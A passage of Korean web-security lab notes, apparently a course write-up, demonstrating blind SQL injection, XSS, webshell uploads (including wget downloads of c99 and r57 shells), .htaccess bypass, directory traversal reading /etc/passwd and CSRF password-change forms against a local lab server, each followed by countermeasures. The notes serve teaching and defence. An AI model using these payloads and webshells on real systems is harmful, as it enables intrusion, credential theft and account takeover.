{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=98 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 38, b, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=99 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 39, c, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=100 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 40, d, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=101 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 41, e, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=102 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 42, f, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=103 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 43, g, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=104 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 44, h, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=105 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 45, i, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=106 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 46, j, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=107 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 47, k, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=108 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 48, l, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=109 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 49, m, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=110 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 50, n, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=111 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 51, o, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=112 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 52, p, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=113 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 53, q, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=114 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 54, r, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=115 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 55, s, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=116 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 56, t, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=117 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 57, u, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=118 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 58, v, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=119 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 59, w, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=120 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 60, x, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=121 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 61, y, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=122 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 62, z, [], 2. no hack!!
&gt;&gt;&gt; Result &lt;&lt;&lt;
Total queryCount: 63, Found dbname:

(SQLiProject) [root@webhacking ~]# cat test.php
&lt;?
$id = &quot;&#39; or ascii(substring(database(),1,1))=122 #&quot;;
echo $id . &quot;\n&quot;;

if(preg_match(&quot;/ascii|substring/i&quot;,$id)){
    exit(&quot;2. no hack!!\n&quot;);
}
?&gt;

(SQLiProject) [root@webhacking ~]# php test.php
&#39; or ascii(substring(database(),1,1))=122 #
2. no hack!!

(SQLiProject) [root@webhacking ~]# cat test2.php
&lt;?
$i = 1;
while($i &lt;= 5)
{
   echo $i . &quot;\n&quot;;
   $i++;
}
?&gt;

(SQLiProject) [root@webhacking ~]# php test2.php
1
2
3
4
5
</code></pre><blockquote>
<p><strong>실습&gt; SQLi 대응방안 중에서 WAF 사용하기</strong></p>
</blockquote>
<pre><code>참고: 2751번 라인의 실습&gt; 웹 방화벽 와플즈 를 참고한다.

실습&gt; 무료로 사용하는 웹 방화벽
ModSecurity 웹 방화벽을 APM + ModSecurity 까지 연동해서 운영한다.</code></pre><blockquote>
<p>*<em>실습&gt; XSS 탐지 *</em></p>
</blockquote>
<pre><code>Reflected XSS

1. 정책 설정 확인
정책 설정: 4.고급 보안 정책
정책명: WebHackTest

룰 이름: Cross Site Scripting
탐지 설정: 스크립트 허용 안함 (탐지하겠다는 의미이다.)
대응 설정: 에러 코드, 400 Bad Request

2. 로그 확인
[root@webhacking html]# &gt; /var/log/httpd/access_log
[root@webhacking html]# tail -f /var/log/httpd/access_log

3. 공격 시도
게시판에서 글제목 부분에 XSS 코드를 넣는다.
공격 형태: Reflected XSS
공격 코드: &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;

글제목: &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt; 검색 버튼을 클릭한다.

400    Bad Request
The server cannot or will not process the request due to an apparent client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).

4. 로그 확인
아파치 웹서버 로그를 확인하면 WAF이 앞에서 막아주므로 웹서버 로그는 기록되지 않는다. 
[root@webhacking html]# tail -f /var/log/httpd/access_log
</code></pre><blockquote>
<p><strong>실습&gt; 파일 업로드 취약점</strong></p>
</blockquote>
<pre><code>!!! 파일을 업로드할 때 운영중인 웹 애플리케이션의 파일을 올라가는 것을 막아야 한다. !!!
- JSP환경: jsp 파일이 게시판에 업로드되면 안된다.
- PHP환경: php 파일이 게시판에 업로드되면 안된다.
- ASP환경: asp 파일이 게시판에 업로드되면 안된다.

파일을 업로드 하기 위해 필요한 설정
1. php.ini 설정
- file_uploads = On (Default)
- upload_max_filesize = 2M
- post_max_size = 8M   

e.g.) 20M 파일을 업로드 하기 위한 설정
file_uploads = On 
upload_max_filesize = 21M
post_max_size = 21M   

2. 업로드 권한
- SELinux 권한: httpd_sys_rw_content_t
- 파일의 허가권/소유권 권한: 웹서버 사용자로 쓰기 권한이 있어야 한다.
--- ps로 httpd가 어떤 사용자로 실행되는지 확인해야 한다. nobody, apache, www-data 
--- drwxrwxrwx. 3 root root 4096  4월 10 17:46 /var/www/html/board/upload/    &lt;-- 보안에 취약하다.
--- drwxrwx---. 3 root apache 4096  4월 10 17:46 /var/www/html/board/upload/  &lt;-- 보안에 취약하지 않다.


1. 업로드 디렉터리 권한 변경
업로드 디렉터리 SELinux 권한: drwxrwx---. root apache unconfined_u:object_r:httpd_sys_rw_content_t:s0 upload/
업로드 디렉터리 허가권/소유권 권한: drwxrwx---. 3 root apache 4096  4월 10 17:46 upload/

[root@webhacking board]# cd /var/www/html/board
[root@webhacking board]# ls -ld upload/
drwxrwxrwx. 3 root root 4096  4월 10 17:46 upload/
[root@webhacking board]# ls -Zd upload/
drwxrwx---. root apache unconfined_u:object_r:httpd_sys_content_t:s0 upload/

SELinux 권한을 변경한다.
[root@webhacking board]# chcon -t httpd_sys_rw_content_t upload

디렉터리의 허가권/소유권을 변경한다.
[root@webhacking board]# chmod 770 upload/
[root@webhacking board]# chgrp apache upload/

[root@webhacking board]# ls -ld upload/
drwxrwx---. 3 root apache 4096  4월 10 17:46 upload/
[root@webhacking board]# ls -Zd upload/
drwxrwx---. root apache unconfined_u:object_r:httpd_sys_rw_content_t:s0 upload/


2. 파일 생성
바탕화면에 파일을 생성한다.

-- webshell.php --
&lt;?php
system($_GET[&#39;cmd&#39;]);
?&gt;
-- webshell.php --


웹쉘: 웹에서 실행하는 셸(서버를 공격하는 악성코드의 일종)
- 운영중인 서버에 웹쉘이 올라가면 서버는 문제가 심각해진다.
http://192.168.20.41/board/upload/webshell.php?cmd=명령어

http://192.168.20.41/board/upload/webshell.php?cmd=pwd
/var/www/html/board/upload
http://192.168.20.41/board/upload/webshell.php?cmd=cat /etc/passwd



apache 사용자로 쉘로 변경해서 테스트한다.
[root@webhacking board]# grep apache /etc/passwd
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
[root@webhacking board]# usermod -s /bin/bash apache
[root@webhacking board]# su - apache
-bash-4.2$ PS1=&quot;[\u@\h \W]\\$ &quot;

[apache@webhacking ~]$ sestatus
SELinux status:                 enabled
SELinuxfs mount:                /sys/fs/selinux
SELinux root directory:         /etc/selinux
Loaded policy name:             targeted
Current mode:                   enforcing
Mode from config file:          enforcing
Policy MLS status:              enabled
Policy deny_unknown status:     allowed
Max kernel policy version:      31


[apache@webhacking ~]$ cat /etc/passwd
   :
   :
</code></pre><blockquote>
<p><strong>실습&gt; 파일 다운로드 취약점</strong></p>
</blockquote>
<pre><code>Directory Traversal 공격: 상위 디렉터리로 올라가는 공격
상위 디렉터리: ../
경로와 상관없이 ../ 를 많이 넣으면 최상위 디렉터리가 된다.


1. 파일 업로드
게시글을 쓸 때 파일 1개를 업로드 한다.

2. 파일 다운로드
업로드가 완료되면 게시물을 보고 파일을 다운로드 한다.

3. 파일 경로 조작
Burp Intercept On으로 변경하고 업로드 파일을 클릭한다.

GET /board/board_file_download.php?filename=test.png HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=8
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; login_access=HAHAHAHAHA
Connection: close

filename 파라미터의 값을 변경한다.
test.png -&gt; ../../../../../../../../../../../etc/passwd 

GET /board/board_file_download.php?filename=../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=8
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; login_access=HAHAHAHAHA
Connection: close

Burp Intercept Off로 변경하면 파일이 다운로드가 된다.
.._.._.._.._.._.._.._.._.._.._../etc/passwd

4. 파일 확인
파일을 확인하면 /etc/passwd 파일이라는 것을 알 수 있다.
결국 경로 조작에 의한 시스템 파일이 다운로드가 되었다.

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

5. 대응 방안
filename으로 넘어오는 내용을 필터링해야 한다.
사용자가 쓰는 값은 믿으면 안되고 모두 필터링해야 한다.

[root@webhacking html]# vi board/board_file_download.php
  1 &lt;?php
  2   $file_name=$_GET[&quot;filename&quot;];
  3   $file_name=str_replace(&quot;../&quot;, &quot;&quot;, $file_name);
  4   echo $file_name;
  5   exit;
  :
  :(생략)

DB안에 저장된 업로드된 파일명과 GET 방식으로 넘어온 파일명을 확인한다.

[root@webhacking ~]# mysql -e &quot;SELECT * FROM WebTest.board ORDER BY strNumber DESC LIMIT 1\G&quot;
*************************** 1. row ***************************
  strNumber: 8
    strName: 관리자
strPassword: 1
   strEmail:
 strSubject: 파일업로드 2
 strContent: 파일업로드 2
    htmlTag: T
  viewCount: 9
   filename: test.png  &lt;-- 
   filesize: 33848
  writeDate: 2023-04-10 18:46:06

  1 &lt;?php
  2   $file_name=$_GET[&quot;filename&quot;];
  3   //$file_name=str_replace(&quot;../&quot;, &quot;&quot;, $file_name);
  4   #$file_name=str_replace(&quot;/&quot;, &quot;&quot;, $file_name);
  5
  6   require(&quot;../dbconn.php&quot;);
  7   $strSQL=&quot;select filename from board where filename=&#39;$file_name&#39;&quot;;
  8   $rs=mysql_query($strSQL, $conn);
  9   $rs_arr=mysql_fetch_array($rs);
 10
 11   echo &quot;GET: &quot; . $file_name . &quot;&lt;br&gt;&quot;;
 12   echo &quot;DB : &quot; . $rs_arr[&#39;filename&#39;];
 13   exit;

확인되면 11,12,13번 라인은 삭제하고 아래 코드로 설정한다.

  1 &lt;?php
  2   $file_name=$_GET[&quot;filename&quot;];
  3   //$file_name=str_replace(&quot;../&quot;, &quot;&quot;, $file_name);
  4   #$file_name=str_replace(&quot;/&quot;, &quot;&quot;, $file_name);
  5
  6   require(&quot;../dbconn.php&quot;);
  7   $strSQL=&quot;select filename from board where filename=&#39;$file_name&#39;&quot;;
  8   $rs=mysql_query($strSQL, $conn);
  9   $rs_arr=mysql_fetch_array($rs);
 10
 11   if($rs_arr[&#39;filename&#39;] != $file_name){
 12     echo &quot;&lt;script&gt;
 13       alert(&#39;요청하신 파일은 다운로드 받을 수 없습니다.&#39;);
 14       history.back();
 15     &lt;/script&gt;&quot;;
 16     exit();
 17   }

업로드된 파일이 test.png 파일이면
정상적인 쿼리: 
$strSQL=&quot;select filename from board where filename=&#39;$file_name&#39;&quot;;
$strSQL=&quot;select filename from board where filename=&#39;test.png&#39;&quot;;

[root@webhacking ~]# mysql -e &quot;select filename from WebTest.board where filename=&#39;test.png&#39;&quot;
+----------+
| filename |
+----------+
| test.png |
+----------+

조작된 쿼리: 
$strSQL=&quot;select filename from board where filename=&#39;$file_name&#39;&quot;;
$strSQL=&quot;select filename from board where filename=&#39;../../../../../../test.png&#39;&quot;;

[root@webhacking ~]# mysql -e &quot;select filename from WebTest.board where filename=&#39;../../../../../../test.png&#39;&quot;
[root@webhacking ~]#
</code></pre><blockquote>
<p><strong>실습&gt; str_replace() 함수 사용하기</strong></p>
</blockquote>
<pre><code>1. 필터링이 없는 경우
[root@webhacking html]# vi str_replace.php
&lt;?php

$filename = &quot;../../../../etc/passwd&quot;;
echo $filename;

?&gt;

[root@webhacking html]# lynx --dump localhost/str_replace.php
   ../../../../etc/passwd

[root@webhacking html]# php str_replace.php
../../../../etc/passwd

2. 필터링이 있는 경우

함수/메소드는 3가지가 중요하다.
첫 번째: 함수/메소드 역할
두 번째: 함수/메소드 호출할 때 넘겨주는 인수값
세 번째: 함수/메소드 호출하고 넘겨주는 반환값

str_replace(&quot;찾을문자열&quot;, &quot;변경할문자열&quot;, &quot;원본문자열&quot;); 
반환값: 교체된 값이 있는 문자열 또는 배열

str_replace()함수는 원본 문자열에서 찾을 문자열을 찾아서 변경할 문자열로 교체해서 문자열로 반환한다.

[root@webhacking html]# vi str_replace.php
&lt;?php

$filename = &quot;../../../../etc/passwd&quot;;
$filename = str_replace(&quot;../&quot;,&quot;&quot;, $filename);
echo $filename;
?&gt;

[root@webhacking html]# php str_replace.php
etc/passwd

[root@webhacking html]# lynx --dump localhost/str_replace.php
   etc/passwd
</code></pre><blockquote>
<p><strong>실습&gt; 웹쉡 테스트</strong></p>
</blockquote>
<pre><code>1. 웹쉘이 실행이 된 경우
[root@webhacking html]# cd board/upload/
[root@webhacking upload]# rm -f webshell.php
[root@webhacking upload]# wget --no-check-certificate https://linuxmaster.net/malware/webShell/c99shell.php.gz
[root@webhacking upload]# gunzip c99shell.php.gz
[root@webhacking upload]# vi c99shell.php
  32 $login = &quot;admin&quot;; //login
  33 //DON&#39;T FORGOT ABOUT PASSWORD!!!
  34 $pass = &quot;12345&quot;; //password


http://192.168.20.41/board/upload/c99shell.php

[root@webhacking upload]# wget --no-check-certificate https://linuxmaster.net/malware/webShell/r57shell.php.gz
[root@webhacking upload]# gunzip r57shell.php.gz

http://192.168.20.41/board/upload/r57shell.php


2. 대응방안
첫 번째: 게시판에 글을 저장할 때 php 확장자를 모두 업로드를 금지해야 한다.
두 번째: 업로드 우회를 생각해서 업로드되는 디렉터리는 PHP 실행을 금지해야 한다.

[root@webhacking upload]# vi /etc/httpd/conf/httpd.conf
&lt;Directory /var/www/html/board/upload&gt;
     AllowOverride none
     php_value engine off
&lt;/Directory&gt;

[root@webhacking upload]# systemctl restart httpd

접속하면 php가 실행되지 않는다.
http://192.168.20.41/board/upload/r57shell.php

업로드 디렉터리에 PHP가 실행되는지 test.php 파일을 생성해서 테스트한다.
[root@webhacking upload]# vi test.php
&lt;?php
echo &quot;Hello&quot;;
?&gt;

아무것도 안나오므로 소스보기로 확인해야 한다.
http://192.168.20.41/board/upload/test.php
&lt;?php
echo &quot;Hello&quot;;
?&gt;
</code></pre><blockquote>
<p><strong>실습&gt; 분산 설정 파일을 이용한 우회</strong></p>
</blockquote>
<pre><code>!!! 분산 설정 파일은 실무에서도 많이 사용하므로 주의를 해야한다.  !!!

1. 아파치 설정 파일 수정
[root@webhacking ~]# cd /var/www/html/board
[root@webhacking board]# pwd
/var/www/html/board
[root@webhacking board]# vi /etc/httpd/conf/httpd.conf
358 &lt;Directory /var/www/html/board/upload&gt;
359     AllowOverride All
360     #php_value engine off
361 &lt;/Directory&gt;
[root@webhacking board]# systemctl restart httpd

2. PHP 파일 수정
업로드되는 확장자가 아파치에서 설정한 .php, .html 파일이 업로드되면 필터링 할 수 있도록 주석을 해제한다. 
[root@webhacking board]# vi board_write_ok.php

 20       /*
 21        * &lt;FilesMatch \.(php|html)$&gt;
 22        *  SetHandler application/x-httpd-php
 23        * &lt;/FilesMatch&gt;
 24        */
 25       //if(eregi(&quot;.html|.htm|.php|.php3|.htaccess&quot;, $f_name)){
 26       if(eregi(&quot;.html|.php&quot;, $f_name)){
 27         echo &quot;&lt;script&gt;
 28           alert(&#39;해당 파일은 업로드 불가!&#39;);
 29           history.back();
 30         &lt;/script&gt;&quot;;
 31         exit();
 32       }

3. 웹쉘 파일 업로드
게시판에서 글을 쓸 때 php 파일을 첨부파일로 업로드한다.

   해당 파일은 업로드 불가!


4. 파일 업로드 확장자 우회
분산 설정파일인 .htaccess 파일을 생성한다.
-- .htaccess --
Addtype application/x-httpd-php .txt
-- .htaccess --

게시판에서 글을 쓸 때 .htaccess 파일을 첨부파일로 업로드한다.

글이 정상적으로 써지면 upload 디렉터리에 .htaccess 파일이 업로드 된다.

[root@webhacking upload]# cat .htaccess
Addtype application/x-httpd-php .txt

4. 웹쉘 파일 업로드
게시판에서 글을 쓸 때 txt 파일을 첨부파일로 업로드한다.

  글이 정상적으로 등록된다.

[root@webhacking upload]# cat webshell.txt
&lt;?php
system($_GET[&#39;cmd&#39;]);
?&gt;

5. 웹쉘 접근
http://192.168.20.41/board/upload/webshell.txt?cmd=pwd
/var/www/html/board/upload

6. 대응방안
게시판에 업로드되는 디렉터리에 PHP코드가 실행되지 못하게 금지시키면 확장자를 변경해도 실행되지 않는다.

[root@webhacking upload]# vi /etc/httpd/conf/httpd.conf
358 &lt;Directory /var/www/html/board/upload&gt;
359     AllowOverride None    &lt;-- All로 설정해도 php가 실행되지 않는다.
360     php_value engine off
361 &lt;/Directory&gt;
[root@webhacking upload]# systemctl restart httpd

http://192.168.20.41/board/upload/webshell.txt?cmd=pwd

파일이 다운로드 된다.  &lt;-- 파일이 다운로드가 되면 PHP가 실행되지 않는다고 생각하면 된다.


CSRF(씨써프)란 ?
사이트 간 요청 위조(또는 크로스 사이트 요청 위조, 영어: Cross-site request forgery, CSRF, XSRF)는 
웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 
의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다.
</code></pre><blockquote>
<p><strong>실습&gt; CSRF 테스트</strong></p>
</blockquote>
<pre><code>1. 소스 수정
info.php 소스 수정
-- info.php --
include_once(&quot;random.php&quot;);
$_SESSION[&#39;token&#39;]= 1; // GE_ST(20);   
-- info.php --

-- info_change.php --
print_r($_POST);  // 디버깅 중요
print_r($_SESSION);  // 디버깅 중요
exit;
-- info_change.php --

2. 세션 파일 삭제
[root@webhacking html]# rm -f /var/lib/php/session/*

다시 tester로 로그인 한다.


3. 회원 정보 수정
회원정보 수정 폼에 값을 넣는다.
*ID: tester
*이름: 테스터
*비밀번호: 222222  6~20(영문/숫자/특수문자)
*비밀번호 확인: 222222
나이: 2
닉네임: 테스트계정2
이메일: 22222
* 는 필수 입력 항목입니다.

수정 버튼을 클릭한다.

Array ( [user_pw1] =&gt; 222222 [user_pw2] =&gt; 222222 [age] =&gt; 2 [nick] =&gt; 테스트계정2 [email] =&gt; 222222 [token] =&gt; 1 ) Array ( [user_id] =&gt; tester [nickname] =&gt; 테스트계정1 [ip_addr] =&gt; 192.168.20.41 [token] =&gt; 1 )
여기까지 테스트가 끝나면 다시 info_change.php를 열어서 주석을 처리한다.

-- info_change.php --
/*
print_r($_POST);  // 디버깅 중요
print_r($_SESSION);  // 디버깅 중요
exit;
*/
-- info_change.php --
</code></pre><blockquote>
<p><strong>실습&gt; CSRF 분석</strong></p>
</blockquote>
<pre><code>구글 크롬 일반 접속: tester
구글 크롬 시크릿 접속: admin

1. 접속
http://192.168.20.41/info.php

2. burp 활성화 
Intercept is on으로 설정한다.

3. 회원 정보 수정
회원정보 수정 폼에 값을 넣는다.
*ID: tester
*이름: 테스터
*비밀번호: 222222  6~20(영문/숫자/특수문자)
*비밀번호 확인: 222222
나이: 2
닉네임: 테스트계정2
이메일:tester@naver.com
* 는 필수 입력 항목입니다.

입력이 완료되면 수정버튼을 클릭한다.


4. request 분석
서버로 전송되는 POST 값을 확인한다.
POST /info_change.php HTTP/1.1
Host: 192.168.20.41
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.20.41
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/info.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; hotlog=1; login_access=HAHAHAHAHA
Connection: close

user_pw1=222222&amp;user_pw2=222222&amp;age=2&amp;nick=%ED%85%8C%EC%8A%A4%ED%8A%B8%EA%B3%84%EC%A0%952&amp;email=tester%40naver.com&amp;token=1


분석된 결과 
어떤 방식으로 어느 페이지로 가는가?
POST /info_change.php

어떤 변수에 값을 담아서 가는가?
user_pw1=222222
user_pw2=222222
age=2
nick=%ED%85%8C%EC%8A%A4%ED%8A%B8%EA%B3%84%EC%A0%952
email=tester%40naver.com
token=1

5. burp 비활성화 
Intercept is off로 설정한다.

6. 결과
성공적으로 변경되었습니다.
회원정보
*ID: tester
*이름: 테스터
*비밀번호:   6~20(영문/숫자/특수문자)
*비밀번호 확인: 
나이: 2
닉네임: 테스트계정2
이메일: tester@naver.com  &lt;-- 변경
* 는 필수 입력 항목입니다.

7. 로그인
로그아웃한 후 다시 로그인한다.
정상적으로 로그인되면 회원정보의 값이 잘 변경된 것이다.
LOGIN
ID: tester
PASSWORD: 222222

8. 게시글 작성
이 름: 공격자
비밀번호: 1
이메일:
제 목: CSRF    
HTML적용: 적용 
내 용:
CSRF TEST
&lt;form id=csrftest method=POST action=/info_change.php&gt;
&lt;input type=hidden name=user_pw1 value=333333&gt;
&lt;input type=hidden name=user_pw2 value=333333&gt;
&lt;input type=hidden name=age value=30&gt;
&lt;input type=hidden name=nick value=관리자&gt;
&lt;input type=hidden name=email value=tester@daum.net&gt;
&lt;input type=hidden name=token value=1&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById(&quot;csrftest&quot;).submit();&lt;/script&gt;

9. 게시글 보기
관리자가 공격자가 작성한 게시글을 확인하면 자신의 권한으로 비밀번호를 변경한다.

10. 관리자 로그인
공격자가 변경된 비밀번호를 이용해서 관리자로 로그인한다.

11. 변경된 정보 확인
DB에 접속해서 변경된 내용을 확인한다.
[root@webhacking ~]# mysql -e &quot;SELECT * FROM WebTest.member \G&quot;
*************************** 1. row ***************************
      no: 1
    u_id: tester
  u_pass: 222222
  u_name: 테스터
nickname: 테스트계정2
     age: 2
   email: tester@naver.com
reg_date: 2022-10-24 14:01:38
*************************** 2. row ***************************
      no: 2
    u_id: admin
  u_pass: 333333   &lt;--
  u_name: 관리자
nickname: 관리자
     age: 30       &lt;--
   email: tester@daum.net  &lt;--
reg_date: 2022-10-24 14:01:38


미션&gt; 아래 내용에 대한 CSRF를 등록하시오.

공격자가 게시글을 등록하고 관리자가 게시글을 보는 순간 관리자의 권한으로 게시글이 등록된다.
제목: CSRF 자동등록
내용: CSRF TEST
비밀번호: 1

1. 흐름 분석
어떤 방식으로 어떤 데이터를 가지고 어느 페이지로 가는가?
어떤 방식: POST
어떤 데이터: ?
어느 페이지: ?

글쓰기를 클릭해서 글을 입력한다.
이 름: 테스터
비밀번호: 1
이메일: tester@naver.com
제 목: CSRF 흐름 분석 제목
HTML적용: 적용
내 용: CSRF 흐름 분석 제목
파일첨부: 

Burp를 On으로 설정하고 등록 버튼을 클릭한다.


POST /board/board_write_ok.php HTTP/1.1
Host: 192.168.20.41
Content-Length: 812
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.20.41
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBZsxOW9BAOjyKBKY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_write.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; hotlog=1; login_access=HAHAHAHAHA
Connection: close

------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name=&quot;name&quot;

테스터
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name=&quot;pw&quot;

1
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name=&quot;email&quot;

tester@naver.com
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name=&quot;sub&quot;

CSRF 흐름 분석 제목
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name=&quot;tag&quot;

T
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name=&quot;cont&quot;

CSRF 흐름 분석 내용
------WebKitFormBoundaryBZsxOW9BAOjyKBKY
Content-Disposition: form-data; name=&quot;att_file&quot;; filename=&quot;&quot;
Content-Type: application/octet-stream


------WebKitFormBoundaryBZsxOW9BAOjyKBKY--

분석 결과
- 어떤 방식: POST
- 어떤 데이터: 
name=테스터
pw=1
email=tester@naver.com
sub=CSRF 흐름 분석 제목
tag=T
cont=CSRF 흐름 분석 내용
filename=
att_file=

어느 페이지: /board/board_write_ok.php

분석이 끝나면 Burp를 Off로 설정하고 글이 저장된 후 글을 클릭해서 
비밀번호에 pw=1에 설정한 값을 넣고 삭제한다.
삭제가 잘 되었다는 의미는 비밀번호 설정이 1로 잘 설정되었다는 의미이다.

2. 게시글 작성
공격자가 아래 게시글을 작성한다.
이 름: 테스터
비밀번호: 1
이메일: tester@naver.com
제 목: CSRF    테스트
HTML적용: 적용 
내 용:
CSRF TEST

&lt;form id=csrftest method=POST action=/board/board_write_ok.php enctype=&quot;multipart/form-data&quot;&gt;
&lt;input type=hidden name=name value=관리자&gt;
&lt;input type=hidden name=pw value=1&gt;
&lt;input type=hidden name=email value=tester@naver.com&gt;
&lt;input type=hidden name=sub value=&quot;CSRF 흐름 분석 제목&quot;&gt;
&lt;input type=hidden name=cont value=&quot;CSRF 흐름 분석 내용&quot;&gt;
&lt;input type=hidden name=filename value=&gt;
&lt;input type=hidden name=att_file value=&gt;
